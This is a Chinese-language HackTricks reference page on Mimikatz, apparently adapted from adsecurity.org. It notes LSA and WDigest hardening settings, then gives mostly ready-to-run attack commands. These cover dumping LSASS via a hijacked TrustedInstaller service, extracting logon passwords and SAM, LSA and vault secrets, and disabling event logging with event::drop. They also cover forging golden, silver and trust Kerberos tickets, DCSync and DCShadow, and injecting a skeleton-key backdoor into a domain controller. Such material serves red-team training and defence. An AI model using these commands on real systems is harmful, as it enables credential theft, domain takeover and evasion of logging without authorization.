Mimikatz
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本页面基于 adsecurity.org 的内容。查看原文以获取更多信息!
LM 和内存中的明文
从 Windows 8.1 和 Windows Server 2012 R2 开始,实施了重要措施以防止凭据盗窃:
-
LM 哈希和明文密码不再存储在内存中以增强安全性。必须将特定注册表设置 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" 配置为 DWORD 值
0
以禁用摘要身份验证,确保“明文”密码不会在 LSASS 中缓存。 -
LSA 保护被引入以保护本地安全机构(LSA)进程免受未经授权的内存读取和代码注入。这是通过将 LSASS 标记为受保护进程来实现的。激活 LSA 保护涉及:
- 修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa,将
RunAsPPL
设置为dword:00000001
。 - 实施一个强制此注册表更改的组策略对象(GPO),以在受管理设备上执行。
尽管有这些保护措施,像 Mimikatz 这样的工具仍然可以使用特定驱动程序绕过 LSA 保护,尽管此类行为可能会被记录在事件日志中。
反制 SeDebugPrivilege 移除
管理员通常拥有 SeDebugPrivilege,使他们能够调试程序。可以限制此权限以防止未经授权的内存转储,这是攻击者提取内存中凭据的常用技术。然而,即使移除了此权限,TrustedInstaller 账户仍然可以使用自定义服务配置执行内存转储:
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
这允许将 lsass.exe
的内存转储到文件中,然后可以在另一个系统上进行分析以提取凭据:
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
Mimikatz 选项
在 Mimikatz 中,事件日志篡改涉及两个主要操作:清除事件日志和修补事件服务以防止记录新事件。以下是执行这些操作的命令:
清除事件日志
- 命令:此操作旨在删除事件日志,使追踪恶意活动变得更加困难。
- Mimikatz 在其标准文档中没有提供直接通过命令行清除事件日志的命令。然而,事件日志操作通常涉及使用系统工具或脚本在 Mimikatz 之外清除特定日志(例如,使用 PowerShell 或 Windows 事件查看器)。
实验性功能:修补事件服务
-
命令:
event::drop
-
此实验性命令旨在修改事件日志服务的行为,有效防止其记录新事件。
-
示例:
mimikatz "privilege::debug" "event::drop" exit
-
privilege::debug
命令确保 Mimikatz 以必要的权限操作,以修改系统服务。 -
然后,
event::drop
命令修补事件日志服务。
Kerberos 票证攻击
黄金票证创建
黄金票证允许进行域范围的访问冒充。关键命令和参数:
- 命令:
kerberos::golden
- 参数:
/domain
:域名。/sid
:域的安全标识符(SID)。/user
:要冒充的用户名。/krbtgt
:域的 KDC 服务账户的 NTLM 哈希。/ptt
:直接将票证注入内存。/ticket
:保存票证以供后用。
示例:
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
Silver Ticket 创建
Silver Tickets 授予对特定服务的访问权限。关键命令和参数:
- 命令:类似于 Golden Ticket,但针对特定服务。
- 参数:
/service
:要针对的服务(例如,cifs,http)。- 其他参数类似于 Golden Ticket。
示例:
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
信任票据创建
信任票据用于通过利用信任关系访问跨域资源。关键命令和参数:
- 命令:类似于黄金票据,但用于信任关系。
- 参数:
/target
:目标域的 FQDN。/rc4
:信任账户的 NTLM 哈希。
示例:
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
额外的 Kerberos 命令
-
列出票证:
-
命令:
kerberos::list
-
列出当前用户会话的所有 Kerberos 票证。
-
传递缓存:
-
命令:
kerberos::ptc
-
从缓存文件中注入 Kerberos 票证。
-
示例:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
-
传递票证:
-
命令:
kerberos::ptt
-
允许在另一个会话中使用 Kerberos 票证。
-
示例:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
-
清除票证:
-
命令:
kerberos::purge
-
清除会话中的所有 Kerberos 票证。
-
在使用票证操作命令之前清除,以避免冲突。
Active Directory 篡改
-
DCShadow:临时使机器充当 DC 以进行 AD 对象操作。
-
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
-
DCSync:模拟 DC 请求密码数据。
-
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
凭证访问
-
LSADUMP::LSA:从 LSA 中提取凭证。
-
mimikatz "lsadump::lsa /inject" exit
-
LSADUMP::NetSync:使用计算机帐户的密码数据模拟 DC。
-
原始上下文中未提供 NetSync 的具体命令。
-
LSADUMP::SAM:访问本地 SAM 数据库。
-
mimikatz "lsadump::sam" exit
-
LSADUMP::Secrets:解密存储在注册表中的秘密。
-
mimikatz "lsadump::secrets" exit
-
LSADUMP::SetNTLM:为用户设置新的 NTLM 哈希。
-
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
-
LSADUMP::Trust:检索信任认证信息。
-
mimikatz "lsadump::trust" exit
杂项
- MISC::Skeleton:在 DC 的 LSASS 中注入后门。
mimikatz "privilege::debug" "misc::skeleton" exit
权限提升
-
PRIVILEGE::Backup:获取备份权限。
-
mimikatz "privilege::backup" exit
-
PRIVILEGE::Debug:获取调试权限。
-
mimikatz "privilege::debug" exit
凭证转储
-
SEKURLSA::LogonPasswords:显示已登录用户的凭证。
-
mimikatz "sekurlsa::logonpasswords" exit
-
SEKURLSA::Tickets:从内存中提取 Kerberos 票证。
-
mimikatz "sekurlsa::tickets /export" exit
Sid 和 Token 操作
-
SID::add/modify:更改 SID 和 SIDHistory。
-
添加:
mimikatz "sid::add /user:targetUser /sid:newSid" exit
-
修改:原始上下文中未提供修改的具体命令。
-
TOKEN::Elevate:模拟令牌。
-
mimikatz "token::elevate /domainadmin" exit
终端服务
-
TS::MultiRDP:允许多个 RDP 会话。
-
mimikatz "ts::multirdp" exit
-
TS::Sessions:列出 TS/RDP 会话。
-
原始上下文中未提供 TS::Sessions 的具体命令。
Vault
- 从 Windows Vault 中提取密码。
mimikatz "vault::cred /patch" exit
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。